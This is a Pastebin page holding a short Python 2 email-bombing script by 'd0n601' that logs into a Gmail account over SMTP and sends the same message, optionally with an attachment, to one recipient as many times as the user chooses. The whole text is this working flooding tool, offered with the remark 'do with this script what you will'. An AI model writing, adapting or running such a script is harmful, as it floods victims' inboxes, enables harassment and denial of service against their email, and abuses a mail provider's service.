Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- #Written by: d0n601
- #do with this script what you will, it's meant to be quick and simple.
- import smtplib
- import getpass
- from email.MIMEMultipart import MIMEMultipart
- from email.MIMEBase import MIMEBase
- from email.MIMEText import MIMEText
- from email import Encoders
- import os
- bomb_count = 0
- option = raw_input("Press L to login to a previously set default account. If you haven't hard coded defaults or want to enter a different login PRESS AY KEY")
- if (option=="L") or (option=="l"):
- user = "DEFAULT" # fill in default here <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
- password = "DEFAULT" # fill in default here<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
- if(user=="DEFAULT"):
- print "You haven't configured a default account. You must edit the script to do this, so for now please enter a login manually"
- option = "x"
- if(option!="L") and (option!="l"):
- user = raw_input("Enter Gmail account: example@gmail.com): ")
- password = getpass.getpass("Enter Gmail password: ")
- recip = raw_input("Enter recipient account: example@whatever.com): ")
- bomb = input("How many emails to send: Example '40' : ")
- sub = raw_input("Enter a Subject: ")
- body = raw_input("Enter body: ")
- Atch_Q = raw_input("Do you want to send an attatchment? y/n ")
- if (Atch_Q=="y") or (Atch_Q=="Y"):
- atch = raw_input("Input the path to attatchment: Example '/home/user/pictures/cornhole.jpg': ")
- def mail_A(to, subj, text, attach):
- msg = MIMEMultipart()
- msg['From'] = user
- msg['To'] = to
- msg['Subject'] = subj
- msg.attach(MIMEText(text))
- part = MIMEBase('application', 'octet-stream')
- part.set_payload(open(attach, 'rb').read())
- Encoders.encode_base64(part)
- part.add_header('Content-Disposition','attachment; filename="%s"' % os.path.basename(attach))
- msg.attach(part)
- mailServer = smtplib.SMTP("smtp.gmail.com", 587)
- mailServer.ehlo()
- mailServer.starttls()
- mailServer.ehlo()
- mailServer.login(user, password)
- mailServer.sendmail(user, to, msg.as_string())
- mailServer.close()
- def mail(to, subj, text):
- msg = MIMEMultipart()
- msg['From'] = user
- msg['To'] = to
- msg['Subject'] = subj
- msg.attach(MIMEText(text))
- part = MIMEBase('application', 'octet-stream')
- Encoders.encode_base64(part)
- mailServer = smtplib.SMTP("smtp.gmail.com", 587)
- mailServer.ehlo()
- mailServer.starttls()
- mailServer.ehlo()
- mailServer.login(user, password)
- mailServer.sendmail(user, to, msg.as_string())
- mailServer.close()
- if (Atch_Q=="y") or (Atch_Q=="Y"):
- while(bomb_count < bomb ):
- mail_A(recip, sub, body, atch)
- bomb_count += 1
- print 'Message ', bomb_count, ' sent'
- else:
- while(bomb_count < bomb ):
- mail(recip, sub, body)
- bomb_count += 1
- print 'Message ', bomb_count, ' sent'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement